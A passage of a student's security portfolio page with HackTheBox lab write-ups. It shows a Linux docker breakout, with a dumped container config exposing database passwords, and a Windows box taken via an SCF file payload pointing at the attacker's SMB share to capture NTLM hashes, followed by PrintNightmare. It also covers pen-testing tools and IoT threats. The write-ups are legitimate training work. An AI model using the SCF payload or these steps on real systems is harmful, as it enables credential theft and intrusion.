class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td 